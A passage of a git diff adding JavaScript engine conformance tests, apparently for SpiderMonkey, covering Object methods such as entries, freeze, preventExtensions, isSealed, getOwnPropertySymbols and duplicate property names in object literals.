+ let f = function(a){
+ return (function({aa = a}){ return aa; })({});
+ };
+ assertEq(f(9999), 9999);
+}
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/duplProps.js b/js/src/tests/non262/object/duplProps.js
new file mode 100644
index 0000000000..41b8d67fb0
--- /dev/null
+++ b/js/src/tests/non262/object/duplProps.js
@@ -0,0 +1,116 @@
+/*
+ * ES6 allows duplicate property names in object literals, even in strict mode.
+ * These tests modify the tests in test262 to reflect this change.
+ */
+
+// test262/ch11/11.1/11.1.5/11.1.5-4-4-a-1-s.js
+a = function() { "use strict"; return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { foo: 0, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-1.js
+a = function() { "use strict"; return { foo : 1, get foo() { return 2; }}};
+assertEq(a().foo, 2);
+a = function() { return { foo : 1, get foo() { return 2;} }};
+assertEq(a().foo, 2);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { get foo() { return 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-b-2.js
+a = function() { "use strict"; return { foo : 1, set foo(a) { throw 2; }}};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+a = function() { return { foo : 1, set foo(a) { throw 2;} }};
+try {
+ a().foo = 5;
+ throw new Error("2 should be thrown here");
+} catch (e) {
+ if (e !== 2)
+ throw new Error("2 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-1.js
+a = function() { "use strict"; return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+a = function() { return { get foo() { return 2; }, get foo() { return 3; } }};
+assertEq(a().foo, 3);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-c-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+a = function() { return { set foo(a) { throw 2; }, foo : 1 }};
+assertEq(a().foo, 1);
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-2.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, set foo(a) { throw 3; }}};
+try {
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-3.js
+a = function() { "use strict"; return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { get foo() { return 2; }, set foo(a) { throw 3; },
+ get foo() { return 4; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+// test262/ch11/11.1/11.1.5/11.1.5_4-4-d-4.js
+a = function() { "use strict"; return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+a = function() { return { set foo(a) { throw 2; }, get foo() { return 4; },
+ set foo(a) { throw 3; }}};
+try {
+ assertEq(a().foo, 4);
+ a().foo = 5;
+ throw new Error("3 should be thrown here");
+} catch (e) {
+ if (e !== 3)
+ throw new Error("3 should be thrown here");
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/entries.js b/js/src/tests/non262/object/entries.js
new file mode 100644
index 0000000000..1a03ceb421
--- /dev/null
+++ b/js/src/tests/non262/object/entries.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("entries" in Object) {
+ assertEq(Object.entries.length, 1);
+
+ var o, entries;
+
+ o = { a: 3, b: 2 };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 3], ["b", 2]]);
+
+ o = { get a() { return 17; }, b: 2 };
+ entries = Object.entries(o),
+ assertDeepEq(entries, [["a", 17], ["b", 2]]);
+
+ o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["__iterator__", o.__iterator__]]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["b", 2], ["a", 3]]);
+
+ o = [0, 1, 2];
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", 0], ["1", 1], ["2", 2]]);
+
+ o = /./.exec("abc");
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", "a"], ["index", 0], ["input", "abc"], ["groups", undefined]]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3], ["b", 5]]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["g", 1]]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3]]);
+
+ assertThrowsInstanceOf(() => Object.entries(), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(null), TypeError);
+
+ assertDeepEq(Object.entries(1), []);
+ assertDeepEq(Object.entries(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.entries(Symbol("foo")), []);
+
+ assertDeepEq(Object.entries("foo"), [["0", "f"], ["1", "o"], ["2", "o"]]);
+
+ entries = Object.entries({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(entries, [["a", "A"]]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ entries = Object.entries(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(entries, [["c", 3], ["a", 1]]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/extensibility-01.js b/js/src/tests/non262/object/extensibility-01.js
new file mode 100644
index 0000000000..c001f38254
--- /dev/null
+++ b/js/src/tests/non262/object/extensibility-01.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.10-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function trySetProperty(o, p, v, strict)
+{
+ function strictSetProperty()
+ {
+ "use strict";
+ o[p] = v;
+ }
+
+ function setProperty()
+ {
+ o[p] = v;
+ }
+
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ if (strict)
+ strictSetProperty();
+ else
+ setProperty();
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+function tryDefineProperty(o, p, v)
+{
+ assertEq(Object.prototype.hasOwnProperty.call(o, p), false);
+
+ try
+ {
+ Object.defineProperty(o, p, { value: v });
+ if (o[p] === v)
+ return "set";
+ if (p in o)
+ return "set-converted";
+ return "swallowed";
+ }
+ catch (e)
+ {
+ return "throw";
+ }
+}
+
+assertEq(typeof Object.preventExtensions, "function");
+assertEq(Object.preventExtensions.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+
+ assertEq(trySetProperty(o, "baz", 17, true), "throw",
+ "unexpected behavior for strict-mode property-addition to " +
+ "object " + i);
+ assertEq(trySetProperty(o, "baz", 17, false), "swallowed",
+ "unexpected behavior for property-addition to object " + i);
+
+ assertEq(tryDefineProperty(o, "baz", 17), "throw",
+ "unexpected behavior for new property definition on object " + i);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/extensibility-02.js b/js/src/tests/non262/object/extensibility-02.js
new file mode 100644
index 0000000000..c61e367281
--- /dev/null
+++ b/js/src/tests/non262/object/extensibility-02.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = '15.2.3.4-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'ES5: Implement Object.preventExtensions, Object.isExtensible';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(typeof Object.isExtensible, "function");
+assertEq(Object.isExtensible.length, 1);
+
+var slowArray = [1, 2, 3];
+slowArray.slow = 5;
+var objs =
+ [{}, { 1: 2 }, { a: 3 }, [], [1], [, 1], slowArray, function a(){}, /a/];
+
+for (var i = 0, sz = objs.length; i < sz; i++)
+{
+ var o = objs[i];
+ assertEq(Object.isExtensible(o), true, "object " + i + " not extensible?");
+
+ var o2 = Object.preventExtensions(o);
+ assertEq(o, o2);
+
+ assertEq(Object.isExtensible(o), false, "object " + i + " is extensible?");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/freeze-global-eval-const.js b/js/src/tests/non262/object/freeze-global-eval-const.js
new file mode 100644
index 0000000000..a43f5c51c9
--- /dev/null
+++ b/js/src/tests/non262/object/freeze-global-eval-const.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell) -- uses evalcx
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+try {
+ evalcx("Object.freeze(this); eval('const q = undefined;')");
+} catch (e) {
+ assertEq(e.message, "({lazy:false}) is not extensible");
+}
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/object/freeze-proxy.js b/js/src/tests/non262/object/freeze-proxy.js
new file mode 100644
index 0000000000..3d95a28d4f
--- /dev/null
+++ b/js/src/tests/non262/object/freeze-proxy.js
@@ -0,0 +1,27 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+// The order of operations is backwards when compared to ES6 draft rev 27
+// (2014 August 24), but see https://bugs.ecmascript.org/show_bug.cgi?id=3215
+// for an explanation on why the spec version is clearly wrong.
+
+var {proxy, log} = logProxy();
+Object.freeze(proxy);
+assertDeepEq(log, ["preventExtensions", "ownKeys"]);
+
+var {proxy, log} = logProxy();
+Object.freeze(Object.freeze(proxy));
+assertDeepEq(log, ["preventExtensions", "ownKeys", "preventExtensions", "ownKeys"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/freeze.js b/js/src/tests/non262/object/freeze.js
new file mode 100644
index 0000000000..18f71f76d6
--- /dev/null
+++ b/js/src/tests/non262/object/freeze.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1076588;
+var summary = "Object.freeze() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.freeze(), undefined);
+assertEq(Object.freeze(undefined), undefined);
+assertEq(Object.freeze(null), null);
+assertEq(Object.freeze(1), 1);
+assertEq(Object.freeze("foo"), "foo");
+assertEq(Object.freeze(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.freeze(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js b/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js
new file mode 100644
index 0000000000..472887f90b
--- /dev/null
+++ b/js/src/tests/non262/object/gOPD-vs-prototype-accessor.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(function testcase() {
+ var proto = {};
+ Object.defineProperty(proto, "prop", {get: function () {return {};}, enumerable: true});
+ var ConstructFun = function () {};
+ ConstructFun.prototype = proto;
+ var child = new ConstructFun;
+ return Object.getOwnPropertyNames(child).indexOf('prop');
+}(), -1);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/object/getOwnPropertyDescriptor.js b/js/src/tests/non262/object/getOwnPropertyDescriptor.js
new file mode 100644
index 0000000000..7aaba7b5ee
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertyDescriptor.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079188;
+var summary = "Coerce the argument passed to Object.getOwnPropertyDescriptor using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertyDescriptor(null), TypeError);
+
+Object.getOwnPropertyDescriptor(1);
+Object.getOwnPropertyDescriptor(true);
+if (typeof Symbol === "function") {
+ Object.getOwnPropertyDescriptor(Symbol("foo"));
+}
+
+assertDeepEq(Object.getOwnPropertyDescriptor("foo", "length"), {
+ value: 3,
+ writable: false,
+ enumerable: false,
+ configurable: false
+});
+
+assertDeepEq(Object.getOwnPropertyDescriptor("foo", 0), {
+ value: "f",
+ writable: false,
+ enumerable: true,
+ configurable: false
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js b/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js
new file mode 100644
index 0000000000..c538b3015c
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// getOwnPropertySymbols(proxy) calls the getOwnPropertyNames hook (only).
+
+var symbols = [Symbol(), Symbol("moon"), Symbol.for("sun"), Symbol.iterator];
+var hits = 0;
+
+function HandlerProxy() {
+ return new Proxy({}, {
+ get: function (t, key) {
+ if (key !== "ownKeys")
+ throw new Error("tried to access handler[" + String(key) + "]");
+ hits++;
+ return t => symbols;
+ }
+ });
+}
+
+function OwnKeysProxy() {
+ return new Proxy({}, new HandlerProxy);
+}
+
+assertDeepEq(Object.getOwnPropertySymbols(new OwnKeysProxy), symbols);
+assertEq(hits, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/getOwnPropertySymbols.js b/js/src/tests/non262/object/getOwnPropertySymbols.js
new file mode 100644
index 0000000000..b92d14ef17
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertySymbols.js
@@ -0,0 +1,46 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertDeepEq(Object.getOwnPropertySymbols({}), []);
+
+// String keys are ignored.
+assertEq(Object.getOwnPropertySymbols({a: 1, b: 2}).length, 0);
+assertEq(Object.getOwnPropertySymbols([0, 1, 2, 3]).length, 0);
+
+// Symbol keys are observed.
+var iterable = {};
+Object.defineProperty(iterable, Symbol.iterator, {
+ value: () => [][Symbol.iterator]()
+});
+assertDeepEq(Object.getOwnPropertySymbols(iterable), [Symbol.iterator]);
+assertDeepEq(Object.getOwnPropertySymbols(new Proxy(iterable, {})), [Symbol.iterator]);
+
+// Test on an object with a thousand own properties.
+var obj = {};
+for (var i = 0; i < 1000; i++) {
+ obj[Symbol.for("x" + i)] = 1;
+}
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+var symbols = Object.getOwnPropertySymbols(obj);
+assertEq(symbols.length, 1000);
+assertEq(symbols.indexOf(Symbol.for("x0")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x241")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x999")) !== -1, true);
+assertEq(Object.getOwnPropertySymbols(new Proxy(obj, {})).length, 1000);
+
+// The prototype chain is not consulted.
+assertEq(Object.getOwnPropertySymbols(Object.create(obj)).length, 0);
+assertEq(Object.getOwnPropertySymbols(new Proxy(Object.create(obj), {})).length, 0);
+
+// Primitives are coerced to objects; but there are never any symbol-keyed
+// properties on the resulting wrapper objects.
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(null), TypeError);
+for (var primitive of [true, 1, 3.14, "hello", Symbol()])
+ assertEq(Object.getOwnPropertySymbols(primitive).length, 0);
+
+assertEq(Object.getOwnPropertySymbols.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/getPrototypeOf-array.js b/js/src/tests/non262/object/getPrototypeOf-array.js
new file mode 100644
index 0000000000..e482f89be7
--- /dev/null
+++ b/js/src/tests/non262/object/getPrototypeOf-array.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'getPrototypeOf-array.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrPrototype), arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrGrandPrototype), objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/object/getPrototypeOf.js b/js/src/tests/non262/object/getPrototypeOf.js
new file mode 100644
index 0000000000..71cd30c62c
--- /dev/null
+++ b/js/src/tests/non262/object/getPrototypeOf.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079090;
+var summary = "Coerce the argument passed to Object.getPrototypeOf using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(null), TypeError);
+
+assertEq(Object.getPrototypeOf(1), Number.prototype);
+assertEq(Object.getPrototypeOf(true), Boolean.prototype);
+assertEq(Object.getPrototypeOf("foo"), String.prototype);
+if (typeof Symbol === "function") {
+ assertEq(Object.getPrototypeOf(Symbol("foo")), Symbol.prototype);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/getter-name.js b/js/src/tests/non262/object/getter-name.js
new file mode 100644
index 0000000000..601d6b4778
--- /dev/null
+++ b/js/src/tests/non262/object/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Object accessors should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get.name, "get __proto__");
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set.name, "set __proto__");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isExtensible.js b/js/src/tests/non262/object/isExtensible.js
new file mode 100644
index 0000000000..f1fa008782
--- /dev/null
+++ b/js/src/tests/non262/object/isExtensible.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1060873;
+var summary = "Object.isExtensible() should return false when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isExtensible(), false);
+assertEq(Object.isExtensible(undefined), false);
+assertEq(Object.isExtensible(null), false);
+assertEq(Object.isExtensible(1), false);
+assertEq(Object.isExtensible("foo"), false);
+assertEq(Object.isExtensible(true), false);
+if (typeof Symbol === "function") {
+ assertEq(Object.isExtensible(Symbol()), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isFrozen.js b/js/src/tests/non262/object/isFrozen.js
new file mode 100644
index 0000000000..02056802d7
--- /dev/null
+++ b/js/src/tests/non262/object/isFrozen.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1071464;
+var summary = "Object.isFrozen() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isFrozen(), true);
+assertEq(Object.isFrozen(undefined), true);
+assertEq(Object.isFrozen(null), true);
+assertEq(Object.isFrozen(1), true);
+assertEq(Object.isFrozen("foo"), true);
+assertEq(Object.isFrozen(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isFrozen(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isPrototypeOf.js b/js/src/tests/non262/object/isPrototypeOf.js
new file mode 100644
index 0000000000..a2d78f6507
--- /dev/null
+++ b/js/src/tests/non262/object/isPrototypeOf.js
@@ -0,0 +1,86 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'isPrototypeOf.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.isPrototypeOf";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var isPrototypeOf = Object.prototype.isPrototypeOf;
+
+/*
+ * 1. If V is not an Object, return false.
+ */
+assertEq(isPrototypeOf(), false);
+assertEq(isPrototypeOf(1), false);
+assertEq(isPrototypeOf(Number.MAX_VALUE), false);
+assertEq(isPrototypeOf(NaN), false);
+assertEq(isPrototypeOf(""), false);
+assertEq(isPrototypeOf("sesquicentennial"), false);
+assertEq(isPrototypeOf(true), false);
+assertEq(isPrototypeOf(false), false);
+assertEq(isPrototypeOf(0.72), false);
+assertEq(isPrototypeOf(undefined), false);
+assertEq(isPrototypeOf(null), false);
+
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+var protoGlobal = Object.create(this);
+expectThrowTypeError(function() { isPrototypeOf.call(null, {}); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, {}); });
+expectThrowTypeError(function() { isPrototypeOf({}); });
+expectThrowTypeError(function() { isPrototypeOf.call(null, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf(protoGlobal); });
+
+
+/*
+ * 3. Repeat
+ */
+
+/*
+ * 3a. Let V be the value of the [[Prototype]] internal property of V.
+ * 3b. If V is null, return false.
+ */
+assertEq(Object.prototype.isPrototypeOf(Object.prototype), false);
+assertEq(String.prototype.isPrototypeOf({}), false);
+assertEq(Object.prototype.isPrototypeOf(Object.create(null)), false);
+
+/* 3c. If O and V refer to the same object, return true. */
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(this.isPrototypeOf(protoGlobal), true);
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(Object.prototype.isPrototypeOf(new Number(17)), true);
+assertEq(Object.prototype.isPrototypeOf(function(){}), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/isSealed.js b/js/src/tests/non262/object/isSealed.js
new file mode 100644
index 0000000000..cd363a87e1
--- /dev/null
+++ b/js/src/tests/non262/object/isSealed.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1062860;
+var summary = "Object.isSealed() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isSealed(), true);
+assertEq(Object.isSealed(undefined), true);
+assertEq(Object.isSealed(null), true);
+assertEq(Object.isSealed(1), true);
+assertEq(Object.isSealed("foo"), true);
+assertEq(Object.isSealed(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isSealed(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/keys.js b/js/src/tests/non262/object/keys.js
new file mode 100644
index 0000000000..5766f16d11
--- /dev/null
+++ b/js/src/tests/non262/object/keys.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1038545;
+var summary = "Coerce the argument passed to Object.keys using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.keys(), TypeError);
+assertThrowsInstanceOf(() => Object.keys(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.keys(null), TypeError);
+
+assertDeepEq(Object.keys(1), []);
+assertDeepEq(Object.keys(true), []);
+if (typeof Symbol === "function") {
+ assertDeepEq(Object.keys(Symbol("foo")), []);
+}
+
+assertDeepEq(Object.keys("foo"), ["0", "1", "2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/method-non-constructor.js b/js/src/tests/non262/object/method-non-constructor.js
new file mode 100644
index 0000000000..fd1d589b97
--- /dev/null
+++ b/js/src/tests/non262/object/method-non-constructor.js
@@ -0,0 +1,12 @@
+var obj = { method() { } };
+assertThrowsInstanceOf(() => {
+ new obj.method;
+}, TypeError);
+
+obj = { constructor() { } };
+assertThrowsInstanceOf(() => {
+ new obj.constructor;
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/mutation-prevention-methods.js b/js/src/tests/non262/object/mutation-prevention-methods.js
new file mode 100644
index 0000000000..01b4c19cbe
--- /dev/null
+++ b/js/src/tests/non262/object/mutation-prevention-methods.js
@@ -0,0 +1,124 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'mutation-prevention-methods.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'Object.is{Sealed,Frozen}, Object.{seal,freeze}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Empty object
+
+var o1 = {};
+
+assertEq(Object.isExtensible(o1), true);
+assertEq(Object.isSealed(o1), false);
+assertEq(Object.isFrozen(o1), false);
+
+Object.preventExtensions(o1);
+
+// An non-extensible empty object has no properties, so it is vacuously sealed
+// and frozen.
+assertEq(Object.isExtensible(o1), false);
